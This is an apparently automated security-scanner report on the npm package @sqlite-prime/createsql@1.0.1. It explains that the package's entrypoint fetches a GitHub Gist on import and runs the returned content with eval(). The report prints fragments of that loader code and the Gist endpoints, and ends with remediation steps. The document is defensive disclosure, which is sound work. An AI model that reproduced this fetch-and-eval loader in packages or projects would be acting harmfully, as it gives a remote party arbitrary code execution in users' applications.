registry / Remote code execution / @sqlite-prime/createsql
@sqlite-prime/createsql
This report shows the evidence for @sqlite-prime/createsql@1.0.1. 2 of 3 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe main entrypoint performs unconditional remote payload retrieval and dynamic execution. This is a concrete remote-code-execution chain, not a benign network use.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Runtime import/require of the package main entrypoint.
Impact
Remote code execution in the importing application's process.
Mechanism
Remote Gist fetch followed by eval of returned content.
Attack narrative
When the package is imported, index.js derives a Gist ID, fetches its API representation, takes the first returned file's content, and passes it to eval. The Gist owner or a compromised remote source can therefore change code executed in every consuming process without publishing a new package version.
AI rationale
The main entrypoint performs unconditional remote payload retrieval and dynamic execution. This is a concrete remote-code-execution chain, not a benign network use.
Evidence
index.jspackage.json
Network endpoints2
api.github.com/gists/3257c04a0cabf393339e89a320ff6a81gist.github.com/ricky-tokencortex/3257c04a0cabf393339e89a320ff6a81.js
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- index.js is the package main entrypoint.
- Importing index.js immediately fetches a GitHub Gist through api.github.com.
- index.js selects remotely supplied file content and executes it with eval().
- No user-facing API or validation gates the remote execution.
Evidence against
- package.json has no preinstall, install, or postinstall hook.
- Only package files are package.json and index.js; no local credential or filesystem harvesting is present.
Behavioral surface
EvalNetwork
HighEntropyStringsUrlStrings
Source & flagged code
5 flagged · loading sourceindex.jsView file
1const gisturl =
L2: "https://gist.github.com/ricky-[redacted].js";
L3:
...
L6: fetch(apiTarget)
L7: .then((response) => response.json())
L8: .then((data) => {
...
L10: const scriptText = data.files[firstFileName].content;
L11: eval(scriptText);
L12: });
Critical
Remote Asset Decode Execute
Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.
index.jsView on unpkg · L1•Trigger-reachable chain: manifest.main -> index.js
Reachable file contains a blocking source-risk pattern.
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg10const scriptText = data.files[firstFileName].content;
L11: eval(scriptText);
L12: });
High
•
Findings
2 Critical3 High2 Medium3 Low
CriticalRemote Asset Decode Executeindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighEvalindex.js
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @sqlite-prime/createsql@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing @sqlite-prime/createsql@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.